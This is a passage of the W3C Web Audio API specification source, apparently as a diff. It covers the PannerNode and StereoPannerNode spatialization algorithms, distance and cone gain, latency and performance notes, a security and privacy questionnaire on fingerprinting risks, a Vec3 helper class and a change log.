+{{AudioListener}}. Both panners and listeners have a
+position in 3D space using a right-handed cartesian coordinate
+system. The units used in the coordinate system are not defined, and
+do not need to be because the effects calculated with these
+coordinates are independent/invariant of any particular units such as
+meters or feet. {{PannerNode}} objects (representing
+the source stream) have an <em>orientation</em> vector representing
+in which direction the sound is projecting. Additionally, they have a
+<em>sound cone</em> representing how directional the sound is. For
+example, the sound could be omnidirectional, in which case it would
+be heard anywhere regardless of its orientation, or it can be more
+directional and heard only if it is facing the listener.
+{{AudioListener}} objects (representing a person's
+ears) have [=forward=] and [=up=] vectors
+representing in which direction the person is facing.
+
+The coordinate system for spatialization is shown in the diagram
+below, with the default values shown.  The locations for the
+{{AudioListener}} and {{PannerNode}} are moved from the default
+positions so we can see things better.
+
+<figure>
+	<img alt="panner-coord" src="images/panner-coord.svg">
+	<figcaption>
+		Diagram of the coordinate system with AudioListener
+		and PannerNode attributes shown.
+	</figcaption>
+</figure>
+
+During rendering, the {{PannerNode}} calculates an
+<em>azimuth</em> and <em>elevation</em>. These values are used
+internally by the implementation in order to render the
+spatialization effect. See the <a href="#Spatialization-panning-algorithm">Panning Algorithm</a> section for
+details of how these values are used.
+
+<h3 id="azimuth-elevation">
+Azimuth and Elevation</h3>
+
+The following algorithm MUST be used to calculate the
+<em>azimuth</em> and <em>elevation</em> for the
+{{PannerNode}}.  The implementation must appropriately account for whether the various {{AudioParam}}s below are "{{AutomationRate/a-rate}}" or "{{AutomationRate/k-rate}}".
+
+<xmp highlight="js" line-numbers>
+// Let |context| be a BaseAudioContext and let |panner| be a
+// PannerNode created in |context|.
+
+// Calculate the source-listener vector.
+const listener = context.listener;
+const sourcePosition = new Vec3(panner.positionX.value, panner.positionY.value,
+                                panner.positionZ.value);
+const listenerPosition =
+    new Vec3(listener.positionX.value, listener.positionY.value,
+             listener.positionZ.value);
+const sourceListener = sourcePosition.diff(listenerPosition).normalize();
+
+if (sourceListener.magnitude == 0) {
+  // Handle degenerate case if source and listener are at the same point.
+  azimuth = 0;
+  elevation = 0;
+  return;
+}
+
+// Align axes.
+const listenerForward = new Vec3(listener.forwardX.value, listener.forwardY.value,
+                                 listener.forwardZ.value);
+const listenerUp =
+    new Vec3(listener.upX.value, listener.upY.value, listener.upZ.value);
+const listenerRight = listenerForward.cross(listenerUp);
+
+if (listenerRight.magnitude == 0) {
+  // Handle the case where listener's 'up' and 'forward' vectors are linearly
+  // dependent, in which case 'right' cannot be determined
+  azimuth = 0;
+  elevation = 0;
+  return;
+}
+
+// Determine a unit vector orthogonal to listener's right, forward
+const listenerRightNorm = listenerRight.normalize();
+const listenerForwardNorm = listenerForward.normalize();
+const up = listenerRightNorm.cross(listenerForwardNorm);
+
+const upProjection = sourceListener.dot(up);
+const projectedSource = sourceListener.diff(up.scale(upProjection)).normalize();
+
+azimuth = 180 * Math.acos(projectedSource.dot(listenerRightNorm)) / Math.PI;
+
+// Source in front or behind the listener.
+const frontBack = projectedSource.dot(listenerForwardNorm);
+if (frontBack < 0)
+  azimuth = 360 - azimuth;
+
+// Make azimuth relative to "forward" and not "right" listener vector.
+if ((azimuth >= 0) && (azimuth <= 270))
+  azimuth = 90 - azimuth;
+else
+  azimuth = 450 - azimuth;
+
+elevation = 90 - 180 * Math.acos(sourceListener.dot(up)) / Math.PI;
+
+if (elevation > 90)
+  elevation = 180 - elevation;
+else if (elevation < -90)
+  elevation = -180 - elevation;
+</xmp>
+
+<h3 id="Spatialization-panning-algorithm">
+Panning Algorithm</h3>
+
+<em>Mono-to-stereo</em> and <em>stereo-to-stereo</em> panning MUST be
+supported. <em>Mono-to-stereo</em> processing is used when all
+connections to the input are mono. Otherwise
+<em>stereo-to-stereo</em> processing is used.
+
+<h4 id="Spatialization-equal-power-panning">
+PannerNode "equalpower" Panning</h4>
+
+This is a simple and relatively inexpensive algorithm which
+provides basic, but reasonable results. It is used for the for the
+{{PannerNode}} when the {{PannerNode/panningModel}} attribute is set to
+"{{PanningModelType/equalpower}}", in which case the <em>elevation</em>
+value is ignored. This algorithm MUST be implemented using
+the appropriate rate as specified by the
+{{AudioParam/automationRate}}.  If any of the {{PannerNode}}'s
+{{AudioParam}}s or the {{AudioListener}}'s {{AudioParam}}s are
+"{{AutomationRate/a-rate}}", <a>a-rate</a> processing must be used.
+
+<div algorithm="equalpower panning">
+	1. For each sample to be computed by this {{AudioNode}}:
+
+		1. Let <var>azimuth</var> be the value computed in the <a href="#azimuth-elevation">azimuth and elevation</a> section.
+
+		2. The <var>azimuth</var> value is first contained to be within
+			the range [-90, 90] according to:
+
+			<pre highlight="js">
+			// First, clamp azimuth to allowed range of [-180, 180].
+			azimuth = max(-180, azimuth);
+			azimuth = min(180, azimuth);
+
+			// Then wrap to range [-90, 90].
+			if (azimuth &lt; -90)
+				azimuth = -180 - azimuth;
+			else if (azimuth &gt; 90)
+				azimuth = 180 - azimuth;
+			</pre>
+
+		3. A normalized value <em>x</em> is calculated from
+			<var>azimuth</var> for a mono input as:
+
+			<pre highlight="js">
+			x = (azimuth + 90) / 180;
+			</pre>
+
+			Or for a stereo input as:
+
+			<pre highlight="js">
+			if (azimuth &lt;= 0) { // -90 -&gt; 0
+				// Transform the azimuth value from [-90, 0] degrees into the range [-90, 90].
+				x = (azimuth + 90) / 90;
+			} else { // 0 -&gt; 90
+				// Transform the azimuth value from [0, 90] degrees into the range [-90, 90].
+				x = azimuth / 90;
+			}
+			</pre>
+
+		4. Left and right gain values are calculated as:
+
+			<pre highlight="js">
+			gainL = cos(x * Math.PI / 2);
+			gainR = sin(x * Math.PI / 2);
+			</pre>
+
+		5. For mono input, the stereo output is calculated as:
+
+			<pre highlight="js">
+			outputL = input * gainL;
+			outputR = input * gainR;
+			</pre>
+
+			Else for stereo input, the output is calculated as:
+
+			<pre highlight="js">
+			if (azimuth &lt;= 0) {
+				outputL = inputL + inputR * gainL;
+				outputR = inputR * gainR;
+			} else {
+				outputL = inputL * gainL;
+				outputR = inputR + inputL * gainR;
+			}
+			</pre>
+		6. Apply the distance gain and cone gain where the
+			computation of the distance is described in
+			[[#Spatialization-distance-effects|Distance
+			Effects]] and the cone gain is described in
+			[[#Spatialization-sound-cones|Sound Cones]]:
+
+			<pre highlight="js">
+			let distance = distance();
+			let distanceGain = distanceModel(distance);
+			let totalGain = coneGain() * distanceGain();
+			outputL = totalGain * outputL;
+			outputR = totalGain * outputR;
+			</pre>
+
+</div>
+
+<h4 id="Spatialization-hrtf-panning">
+PannerNode "HRTF" Panning (Stereo Only)</h4>
+
+This requires a set of <a href="https://en.wikipedia.org/wiki/Head-related_transfer_function">HRTF</a>
+(Head-related Transfer Function) impulse responses recorded at a
+variety of azimuths and elevations. The implementation requires a
+highly optimized convolution function. It is somewhat more costly
+than "equalpower", but provides more perceptually spatialized
+sound.
+
+<figure>
+	<img alt="" src="images/HRTF_panner.png" width="644"
+	height="419">
+	<figcaption>
+		A diagram showing the process of panning a source using HRTF.
+	</figcaption>
+</figure>
+
+<h4 id="stereopanner-algorithm">
+StereoPannerNode Panning</h4>
+
+<div algorithm="pan a StereoPannerNode">
+	For a {{StereoPannerNode}}, the following algorithm
+	MUST be implemented.
+
+	1. For each sample to be computed by this {{AudioNode}}
+		1. Let <var>pan</var> be the <a>computedValue</a> of the
+			<code>pan</code> {{AudioParam}} of this
+			{{StereoPannerNode}}.
+
+		2. Clamp <var>pan</var> to [-1, 1].
+
+			<pre highlight="js">
+			pan = max(-1, pan);
+			pan = min(1, pan);
+			</pre>
+
+		3. Calculate <em>x</em> by normalizing <var>pan</var> value to
+			[0, 1]. For mono input:
+
+			<pre highlight="js">
+			x = (pan + 1) / 2;
+			</pre>
+
+			For stereo input:
+
+			<pre highlight="js">
+			if (pan &lt;= 0)
+				x = pan + 1;
+			else
+				x = pan;
+			</pre>
+
+		4. Left and right gain values are calculated as:
+
+			<pre highlight="js">
+			gainL = cos(x * Math.PI / 2);
+			gainR = sin(x * Math.PI / 2);
+			</pre>
+
+		5. For mono input, the stereo output is calculated as:
+
+			<pre highlight="js">
+			outputL = input * gainL;
+			outputR = input * gainR;
+			</pre>
+
+			Else for stereo input, the output is calculated as:
+
+			<pre highlight="js">
+			if (pan &lt;= 0) {
+				outputL = inputL + inputR * gainL;
+				outputR = inputR * gainR;
+			} else {
+				outputL = inputL * gainL;
+				outputR = inputR + inputL * gainR;
+			}
+			</pre>
+</div>
+
+<h3 id="Spatialization-distance-effects">
+Distance Effects</h3>
+
+Sounds which are closer are louder, while sounds further away are
+quieter. Exactly <em>how</em> a sound's volume changes according to
+distance from the listener depends on the {{PannerNode/distanceModel}}
+attribute.
+
+During audio rendering, a <em>distance</em> value will be calculated
+based on the panner and listener positions according to:
+
+<xmp highlight="js" line-numbers>
+function distance(panner) {
+  const pannerPosition = new Vec3(panner.positionX.value, panner.positionY.value,
+                                  panner.positionZ.value);
+  const listener = context.listener;
+  const listenerPosition =
+      new Vec3(listener.positionX.value, listener.positionY.value,
+               listener.positionZ.value);
+  return pannerPosition.diff(listenerPosition).magnitude;
+}
+</xmp>
+
+<em>distance</em> will then be used to calculate
+<em>distanceGain</em> which depends on the {{PannerNode/distanceModel}}
+attribute. See the {{DistanceModelType}} section for details of how
+this is calculated for each distance model.
+
+As part of its processing, the {{PannerNode}}
+scales/multiplies the input audio signal by <em>distanceGain</em> to
+make distant sounds quieter and nearer ones louder.
+
+
+<h3 id="Spatialization-sound-cones">
+Sound Cones</h3>
+
+The listener and each sound source have an orientation vector
+describing which way they are facing. Each sound source's sound
+projection characteristics are described by an inner and outer "cone"
+describing the sound intensity as a function of the source/listener
+angle from the source's orientation vector. Thus, a sound source
+pointing directly at the listener will be louder than if it is
+pointed off-axis. Sound sources can also be omni-directional.
+
+The following diagram ilustrates the relationship between the source's
+cone with respect to the listener.  In the diagram,
+<code>{{PannerNode/coneInnerAngle}} = 50</code> and
+<code>{{PannerNode/coneOuterAngle}} = 120</code>.  That
+is, the inner cone extends 25 deg on each side of the direction
+vector.  Similarly, the outer cone is 60 deg on each side.
+
+<figure>
+	<img alt="cone-diagram" src="images/cone-diagram.svg">
+	<figcaption>
+		Cone angles for a source in relationship to the source orientation and the listeners position and orientation.
+	</figcaption>
+</figure>
+
+The following algorithm MUST be used to calculate the gain
+contribution due to the cone effect, given the source (the
+{{PannerNode}}) and the listener:
+
+<xmp highlight="js" line-numbers>
+function coneGain() {
+  const sourceOrientation =
+      new Vec3(source.orientationX, source.orientationY, source.orientationZ);
+  if (sourceOrientation.magnitude == 0 ||
+      ((source.coneInnerAngle == 360) && (source.coneOuterAngle == 360)))
+    return 1; // no cone specified - unity gain
+
+  // Normalized source-listener vector
+  const sourcePosition = new Vec3(panner.positionX.value, panner.positionY.value,
+                                  panner.positionZ.value);
+  const listenerPosition =
+      new Vec3(listener.positionX.value, listener.positionY.value,
+               listener.positionZ.value);
+  const sourceToListener = sourcePosition.diff(listenerPosition).normalize();
+
+  const normalizedSourceOrientation = sourceOrientation.normalize();
+
+  // Angle between the source orientation vector and the source-listener vector
+  const angle = 180 *
+                Math.acos(sourceToListener.dot(normalizedSourceOrientation)) /
+                Math.PI;
+  const absAngle = Math.abs(angle);
+
+  // Divide by 2 here since API is entire angle (not half-angle)
+  const absInnerAngle = Math.abs(source.coneInnerAngle) / 2;
+  const absOuterAngle = Math.abs(source.coneOuterAngle) / 2;
+  let gain = 1;
+
+  if (absAngle <= absInnerAngle) {
+    // No attenuation
+    gain = 1;
+  } else if (absAngle >= absOuterAngle) {
+    // Max attenuation
+    gain = source.coneOuterGain;
+  } else {
+    // Between inner and outer cones
+    // inner -> outer, x goes from 0 -> 1
+    const x = (absAngle - absInnerAngle) / (absOuterAngle - absInnerAngle);
+    gain = (1 - x) + source.coneOuterGain * x;
+  }
+
+  return gain;
+}
+</xmp>
+
+
+<!-- Big Text: Perf -->
+
+<h2 id="Performance">
+Performance Considerations</h2>
+
+<h3 id="latency">
+Latency</h3>
+
+<figure>
+	<img alt="latency" src="images/latency.png" width="700" height="201">
+	<figcaption>
+		Use cases in which the latency can be important
+	</figcaption>
+</figure>
+
+For web applications, the time delay between mouse and keyboard
+events (keydown, mousedown, etc.) and a sound being heard is
+important.
+
+This time delay is called latency and is caused by several factors
+(input device latency, internal buffering latency, DSP processing
+latency, output device latency, distance of user's ears from
+speakers, etc.), and is cumulative. The larger this latency is, the
+less satisfying the user's experience is going to be. In the extreme,
+it can make musical production or game-play impossible. At moderate
+levels it can affect timing and give the impression of sounds lagging
+behind or the game being non-responsive. For musical applications the
+timing problems affect rhythm. For gaming, the timing problems affect
+precision of gameplay. For interactive applications, it generally
+cheapens the users experience much in the same way that very low
+animation frame-rates do. Depending on the application, a reasonable
+latency can be from as low as 3-6 milliseconds to 25-50 milliseconds.
+
+Implementations will generally seek to minimize overall latency.
+
+Along with minimizing overall latency, implementations will generally
+seek to minimize the difference between an
+{{AudioContext}}'s <code>currentTime</code> and an
+{{AudioProcessingEvent}}'s <code>playbackTime</code>.
+Deprecation of {{ScriptProcessorNode}} will make this
+consideration less important over time.
+
+Additionally, some {{AudioNode}}s can add latency to some paths
+of the audio graph, notably:
+
+* The {{AudioWorkletNode}} can run a script that buffers
+	internally, adding delay to the signal path.
+
+* The {{DelayNode}}, whose role is to add controlled latency
+	time.
+
+* The {{BiquadFilterNode}} and {{IIRFilterNode}} filter
+	design can delay incoming samples, as a natural consequence of the
+	causal filtering process.
+
+* The {{ConvolverNode}} depending on the impulse, can delay
+	incoming samples, as a natural result of the convolution operation.
+
+* The {{DynamicsCompressorNode}} has a look ahead algorithm that
+	causes delay in the signal path.
+
+* The {{MediaStreamAudioSourceNode}},
+	{{MediaStreamTrackAudioSourceNode}} and
+	{{MediaStreamAudioDestinationNode}}, depending on the
+	implementation, can add buffers internally that add delays.
+
+* The {{ScriptProcessorNode}} can have buffers between the
+	control thread and the rendering thread.
+
+* The {{WaveShaperNode}}, when oversampling, and depending on
+	the oversampling technique, add delays to the signal path.
+
+<h3 id="audio-buffer-copying">
+Audio Buffer Copying</h3>
+
+When an <a href="#acquire-the-content">acquire the content</a>
+operation is performed on an {{AudioBuffer}}, the entire operation
+can usually be implemented without copying channel data. In
+particular, the last step SHOULD be performed lazily at the next
+{{AudioBuffer/getChannelData()}} call.
+That means a sequence of consecutive <a href="#acquire-the-content">acquire the contents</a> operations with no
+intervening {{AudioBuffer/getChannelData()}} (e.g. multiple
+{{AudioBufferSourceNode}}s playing the same
+{{AudioBuffer}}) can be implemented with no
+allocations or copying.
+
+Implementations can perform an additional optimization: if
+{{AudioBuffer/getChannelData()}} is called on an
+{{AudioBuffer}}, fresh {{ArrayBuffer}}s have not yet been
+allocated, but all invokers of previous <a href="#acquire-the-content">acquire the content</a> operations on an
+{{AudioBuffer}} have stopped using the {{AudioBuffer}}'s data,
+the raw data buffers can be recycled for use with new
+{{AudioBuffer}}s, avoiding any reallocation or copying of the
+channel data.
+
+<h3 id="audioparam-transitions">
+AudioParam Transitions</h3>
+
+While no automatic smoothing is done when directly setting the
+{{AudioParam/value}} attribute of an
+{{AudioParam}}, for certain parameters, smooth
+transition are preferable to directly setting the value.
+
+Using the {{AudioParam/setTargetAtTime()}} method with a low
+<code>timeConstant</code> allows authors to perform a smooth
+transition.
+
+<h3 id="audio-glitching">
+Audio Glitching</h3>
+
+Audio glitches are caused by an interruption of the normal continuous
+audio stream, resulting in loud clicks and pops. It is considered to
+be a catastrophic failure of a multi-media system and MUST be
+avoided. It can be caused by problems with the threads responsible
+for delivering the audio stream to the hardware, such as scheduling
+latencies caused by threads not having the proper priority and
+time-constraints. It can also be caused by the audio DSP trying to do
+more work than is possible in real-time given the CPU's speed.
+
+
+<!-- Big Text: priv-sec -->
+
+<h2 id="priv-sec">
+Security and Privacy Considerations</h2>
+
+Per the [[security-privacy-questionnaire#questions]]:
+
+1. Does this specification deal with personally-identifiable information?
+
+	It would be possible to perform a hearing test using Web Audio API, thus
+	revealing the range of frequencies audible to a person (this decreases
+	with age). It is difficult to see how this could be done without the
+	realization and consent of the user, as it requires active particpation.
+	<!-- assuming the audio context does not expose detailed information
+	on audio device inputs and outputs; revisit this question after the
+	fingerprinting analysis is done -->
+
+
+2. Does this specification deal with high-value data?
+
+	No. Credit card information and the like is not used in Web Audio.
+	It is possible to use Web Audio to process or analyze voice data,
+	which might be a privacy concern, but access to the user's
+	microphone is permission-based via {{getUserMedia()}}.
+
+3. Does this specification introduce new state for an origin that
+	persists across browsing sessions?
+
+	No. AudioWorklet does not persist across browsing sessions.
+
+4. Does this specification expose persistent, cross-origin state to
+	the web?
+
+	Yes, the supported audio sample rate(s) and the output device channel count are exposed. See {{AudioContext}}.
+
+5. Does this specification expose any other data to an origin that it
+	doesn’t currently have access to?
+
+	Yes. When giving various information on available
+	{{AudioNode}}s, the Web Audio API potentially
+	exposes information on characteristic features of the client (such
+	as audio hardware sample-rate) to any page that makes use of the
+	{{AudioNode}} interface. Additionally, timing
+	information can be collected through the
+	{{AnalyserNode}} or
+	{{ScriptProcessorNode}} interface. The information
+	could subsequently be used to create a fingerprint of the client.
+
+	Research by Princeton CITP's <a href="https://audiofingerprint.openwpm.com/"></a>
+	Web Transparency and Accountability Project</a>
+	has shown that {{DynamicsCompressorNode}} and {{OscillatorNode}} can
+	be used to gather entropy from a client to fingerprint a device.
+	This is due to small, and normally inaudible, differences in DSP
+	architecture, resampling strategies and rounding trade-offs between
+	differing implementations. The precise compiler flags used and also the
+	CPU architecture (ARM vs. x86) contribute to this entropy.
+
+	In practice however, this merely allows deduction of information
+	already readily available by easier means (User Agent string),
+	such as "this is browser X running on platform Y".  However, to reduce the
+	possibility of additional fingerprinting, we mandate browsers take
+	action to mitigate fingerprinting issues that might be possible from the
+	output of any node.
+
+	Fingerprinting via clock skew
+	<a href="https://murdoch.is/talks/eurobsdcon07hotornot.pdf">has
+	been described by Steven J Murdoch and Sebastian Zander</a>. It might be possible
+	to determine this from {{getOutputTimestamp}}. Skew-based fingerprinting has also
+	been demonstrated
+	<a href="https://pdfs.semanticscholar.org/cfd2/6a17234696593919df3f880a235d6ac5871d.pdf">
+	by Nakibly et. al. for HTML</a>. The [[hr-time-3#sec-privacy-security]] section should be consulted for further
+	information on clock resolution and drift.
+
+	Fingerprinting via latency is also possible; it might be possible to deduce this
+	from {{baseLatency}} and {{outputLatency}}. Mitigation
+	strategies include adding jitter (dithering) and quantization so that the exact
+	skew is incorrectly reported. Note however that most audio systems aim
+	for <a href="https://padenot.github.io/web-audio-perf/#latency">low latency</a>,
+	to synchronise the audio generated by WebAudio to other
+	audio or video sources or to visual cues (for example in a game, or an audio
+	recording or music making environment). Excessive latency decreases usability and may be
+	an accessibility issue.
+
+	Fingerprining via the sample rate of the {{AudioContext}} is also possible.  We
+	recommend the following steps to be taken to minimize this:
+
+	1. 44.1 kHz and 48 kHz are allowed as default rates; the system will choose
+		between them for best applicability. (Obviously, if the audio device is
+		natively 44.1, 44.1 will be chosen, etc., but also the system may choose
+		the most "compatible" rate&mdash;e.g. if the system is natively 96kHz,
+		48kHz would likely be chosen, not 44.1kHz.
+	1. The system should resample to one of those two rates for devices that are
+		natively at different rates, despite the fact that this may cause extra
+		battery drain due to resampled audio. (Again, the system will choose the
+		most compatible rate&mdash;e.g. if the native system is 16kHz, it's
+		expected that 48kHz would be chosen.)
+	1. It is expected (though not mandated) that browsers would offer a user
+		affordance to force use of the native rate&mdash;e.g. by setting a flag in
+		the browser on the device. This setting would not be exposed in the API.
+	1. It is also expected behavior that a different rate could be explicitly
+		requested in the constructor for {{AudioContext}} (this is already in the
+		specification; it normally causes the audio rendering to be done at the
+		requested sampleRate, and then up- or down-sampled to the device output),
+		and if that rate is natively supported, the rendering could be passed
+		straight through. This would enable apps to render to higher rates without
+		user intervention (although it's not observable from Web Audio that the
+		audio output is not downsampled on output)&mdash;for example, if
+		{{MediaDevices}} capabilities were read (with user intervention) and indicated
+		a higher rate was supported.
+
+	Fingerprinting via the number of output channels for the
+	{{AudioContext}} is possible as well.  We recommend that
+	{{AudioDestinationNode/maxChannelCount}} be set to two
+	(stereo).  Stereo is by far the most common number of
+	channels.
+
+6. Does this specification enable new script execution/loading
+	mechanisms?
+
+	No. It does use the [[HTML]] script execution method,
+	defined in that specification.
+
+7. Does this specification allow an origin access to a user’s
+	location?
+
+	No.
+
+8. Does this specification allow an origin access to sensors on a
+	user’s device?
+
+	Not directly. Currently, audio input is not specified in this
+	document, but it will involve gaining access to the client
+	machine's audio input or microphone. This will require asking the
+	user for permission in an appropriate way, probably via the
+	{{getUserMedia()}} API.
+	
+	Additionally, the security and privacy considerations from the 
+	<a href="https://www.w3.org/TR/mediacapture-streams/">Media Capture 
+	and Streams</a> specification should be noted. In particular, 
+	analysis of ambient audio or playing unique audio may enable 
+	identification of user location down to the level of a room or 
+	even simultaneous occupation of a room by disparate users or 
+	devices. Access to both audio output and audio input might also
+	enable communication between otherwise partitioned contexts in one 
+	browser.
+
+9. Does this specification allow an origin access to aspects of a
+	user’s local computing environment?
+
+<!-- from f2f -->
+	Not directly; all requested sample rates are supported, with upsampling if needed.
+	It is possible to use Media Capture and Streams to
+	probe for supported audio sample rates with
+	<a href="https://www.w3.org/TR/mediacapture-streams/#media-track-supported-constraints">MediaTrackSupportedConstraints</a>.
+	This requires explicit user consent.
+	This does provide a small measure of fingerprinting. However,
+	in practice most consumer and prosumer devices use one of two
+	standardized sample rates: 44.1kHz (originally used by CD) and 48kHz
+	(originally used by DAT). Highly resource constrained devices may
+	support the speech-quality 11kHz sample rate, and higher-end devices often
+	support 88.2, 96, or even the audiophile 192kHz rate.
+
+	Requiring all implementations to upsample to a single, commonly-supported
+	rate such as 48kHz would increase CPU cost for no particular benefit, and
+	requiring higher-end devices to use a lower rate would merely result in
+	Web Audio being labelled as unsuitable for professional use.
+
+10. Does this specification allow an origin access to other devices?
+
+	It typically does not allow access to other networked devices (an
+	exception in a high-end recording studio might be Dante networked
+	devices, although these typically use a separate, dedicated network).
+	It does of necessity allow access to the user's audio output device
+	or devices, which are sometimes separate units to the computer.
+
+	For voice or sound-actuated devices, Web Audio API <em>might</em> be used
+	to control other devices. In addition, if the sound-operated device is sensitive
+	to near ultrasonic frequencies, such control might not be audible.
+	This possibility also exists with HTML, through either
+	the &lt;audio&gt; or &lt;video&gt; element. At common audio sampling rates, there is (by design)
+	insufficient headroom for much ultrasonic information:
+
+	The limit of human hearing is usually stated as 20kHz. For a 44.1kHz
+	sampling rate, the Nyquist limit is 22.05kHz. Given that a true
+	brickwall filter cannot be physically realized, the space between
+	20kHz and 22.05kHz is used for a rapid rolloff filter to strongly
+	attenuate all frequencies above Nyquist.
+
+	At 48kHz sampling rate, there is still rapid attenuation in the
+	20kHz to 24kHz band (but it is easier to avoid phase ripple
+	errors in the passband).
+
+11. Does this specification allow an origin some measure of control
+	over a user agent’s native UI?
+
+	If the UI has audio components, such as a voice assistant or screenreader,
+	Web Audio API might be used to emulate aspects of the native UI to make
+	an attack seem more like a local system event.
+	This possibility also exists with HTML, through
+	the &lt;audio&gt; element.
+
+12. Does this specification expose temporary identifiers to the web?
+
+	No.
+
+13. Does this specification distinguish between behavior in first-party
+	and third-party contexts?
+
+	No.
+
+14. How should this specification work in the context of a user agent’s
+	"incognito" mode?
+
+	Not differently.
+
+15. Does this specification persist data to a user’s local device?
+
+	No.
+
+16. Does this specification have a "Security Considerations" and
+	"Privacy Considerations" section?
+
+	Yes (you are reading it).
+
+17. Does this specification allow downgrading default security
+	characteristics?
+
+	No.
+
+<h2 id="requirements">
+Requirements and Use Cases</h2>
+
+Please see [[webaudio-usecases]].
+
+
+<h2 id="common-definitions">
+Common Definitions for Specification Code</h2>
+
+This section describes common functions and classes employed by
+JavaScript code used within this specification.
+
+<pre highlight="js" line-numbers>
+// Three dimensional vector class.
+class Vec3 {
+	// Construct from 3 coordinates.
+	constructor(x, y, z) {
+		this.x = x;
+		this.y = y;
+		this.z = z;
+	}
+
+	// Dot product with another vector.
+	dot(v) {
+		return (this.x * v.x) + (this.y * v.y) + (this.z * v.z);
+	}
+
+	// Cross product with another vector.
+	cross(v) {
+		return new Vec3((this.y * v.z) - (this.z * v.y),
+			(this.z * v.x) - (this.x * v.z),
+			(this.x * v.y) - (this.y * v.x));
+	}
+
+	// Difference with another vector.
+	diff(v) {
+		return new Vec3(this.x - v.x, this.y - v.y, this.z - v.z);
+	}
+
+	// Get the magnitude of this vector.
+	get magnitude() {
+		return Math.sqrt(dot(this));
+	}
+
+	// Get a copy of this vector multiplied by a scalar.
+	scale(s) {
+		return new Vec3(this.x * s, this.y * s, this.z * s);
+	}
+
+	// Get a normalized copy of this vector.
+	normalize() {
+		const m = magnitude;
+		if (m == 0) {
+			return new Vec3(0, 0, 0);
+		}
+		return scale(1 / m);
+	}
+}
+</pre>
+
+<h2 id="changes">
+Change Log</h2>
+<h3 id="recommendation-changes-1">
+  Changes since Recommendation of 17 Jun 2021
+</h3>
+  * <a href="https://github.com/WebAudio/web-audio-api/issues/2361">Issue 2361</a>: Use new Web IDL buffer primitives
+    <div id="change-list-2361">
+    </div>
+  * <a href="https://github.com/WebAudio/web-audio-api-v2/issue/127">Issue 127</a>: RangeError is thrown only for negative cancelTime
+    <div id="change-list-127">
+    </div>
+  * <a href="https://github.com/WebAudio/web-audio-api/issue/2359">Issue 2359</a>: Fix a typo in the VUMeterNode example
+    <div id="change-list-2359">
+    </div>
+  * <a href="https://github.com/WebAudio/web-audio-api/issues/2373">Issue 2373</a>: Fix a typo: initially instead of initialy
+    <div id="change-list-2373">
+    </div>
+  * <a href="https://github.com/WebAudio/web-audio-api/issues/2321">Issue 2321</a>: Warn about corrupted fils in decodeAudioData.
+    <div id="change-list-2321">
+    </div>
+  * <a href="https://github.com/WebAudio/web-audio-api/issues/2375">Issue 2375</a>: decodeAudioData only decodes the first track of a multi-track audio file.
+    <div id="change-list-2375">
+    </div>
+
+<h3 id="changes-2021-05-06">
+  Since Proposed Recommendation of 6 May 2021
+</h3>
+  * Styling, status and boilerplate updates for Recommendation
+  * Updated links to RFC2119, High-Resolution Time, and Audio EQ Cookbook
+  * A spelling error was corrected
+
+<h3 id="changes-2021-01-14">
+  Since Candidate Recommendation of 14 January 2021
+</h3>
+<!-- Last updated: 2021-04-30 -->
+ * <a href="https://github.com/WebAudio/web-audio-api/pull/2333">PR 2333</a>: Update links to point to W3C versions
+ * <a href="https://github.com/WebAudio/web-audio-api/pull/2334">PR 2334</a>: Use bikeshed to link to ErrorEvent
+ * <a href="https://github.com/WebAudio/web-audio-api/pull/2331">PR 2331</a>: Add MIMESniff to normative references
+ * <a href="https://github.com/WebAudio/web-audio-api/pull/2328">PR 2328</a>: MediaStream must be resampled to match the context sample rate
+ * <a href="https://github.com/WebAudio/web-audio-api/pull/2318">PR 2318</a>: Restore empty of pending processor construction data after successful initialization of AudioWorkProcessor#port.
+ * <a href="https://github.com/WebAudio/web-audio-api/pull/2317">PR 2317</a>: Standardize h3/h4 interface and dictionary markup
+ * <a href="https://github.com/WebAudio/web-audio-api/pull/2312">PR 2312</a>: Rework description of control thread state and rendering thread state
+ * <a href="https://github.com/WebAudio/web-audio-api/pull/2311">PR 2311</a>: Adjust the steps to process a context's regular task queue
+ * <a href="https://github.com/WebAudio/web-audio-api/pull/2310">PR 2310</a>: OscillatorNode output is mono
+ * <a href="https://github.com/WebAudio/web-audio-api/pull/2308">PR 2308</a>: Refine phrasing for "allowed to start"
+ * <a href="https://github.com/WebAudio/web-audio-api/pull/2307">PR 2307</a>: Replace "queue a task" with "queue a media element task"
+ * <a href="https://github.com/WebAudio/web-audio-api/pull/2306">PR 2306</a>: Move some steps from AudioWorkletProcessor constructor to the instantiation algorithm
+ * <a href="https://github.com/WebAudio/web-audio-api/pull/2304">PR 2304</a>: Add required components for ES operations in the rendering loop
+ * <a href="https://github.com/WebAudio/web-audio-api/pull/2301">PR 2301</a>: Define when and how regular tasks are processed wrt the processing model
+ * <a href="https://github.com/WebAudio/web-audio-api/pull/2286">PR 2286</a>: Clean up ABSN start algorithm
+ * <a href="https://github.com/WebAudio/web-audio-api/pull/2277">PR 2277</a>: Fix compression curve diagram
+ * <a href="https://github.com/WebAudio/web-audio-api/pull/2273">PR 2273</a>: Clarify units used in threshold & knee value calculations
+ * <a href="https://github.com/WebAudio/web-audio-api/pull/2256">PR 2256</a>: ABSN extrapolates the last output
+ * <a href="https://github.com/WebAudio/web-audio-api/pull/2250">PR 2250</a>: Use FrozenArray for AudioWorkletProcessor process()
+ * <a href="https://github.com/WebAudio/web-audio-api/pull/2298">PR 2298</a>: Bikeshed HTML validation issues
+ 
+<h3 id="changes-2020-06-11">
+  Since Candidate Recommendation of 11 June 2020
+</h3>
+<!-- Last updated: 2020-11-13 -->
+ * <a href="https://github.com/WebAudio/web-audio-api/pull/2201">PR 2202</a>: Fixed wrong optionality of IIRFilterNode options
+ * <a href="https://github.com/WebAudio/web-audio-api/issues/2191">Issue 2191</a>: Restrict sounds beyond normal hearing
+ * <a href="https://github.com/WebAudio/web-audio-api/pull/2210">PR 2210</a>: Return rejected promise when the document is not fully active, for operations returning promises
+ * <a href="https://github.com/WebAudio/web-audio-api/issues/2191">Issue 2191</a>: Destination of request created by `addModule`
+ * <a href="https://github.com/WebAudio/web-audio-api/issues/2213">Issue 2213</a>: The message queue is for message running on the rendering thread.
+ * <a href="https://github.com/WebAudio/web-audio-api/issues/2216">Issue 2216</a>: Use inclusive language in the spec
+ * <a href="https://github.com/WebAudio/web-audio-api/pull/2219">PR 2219</a>: Update more terminology in images and markdown documents
+ * <a href="https://github.com/WebAudio/web-audio-api/issues/2206">Issue 2206</a>: PannerNode.rollOffFactor with "linear" distance model is not clamped to [0, 1] in main browser engines
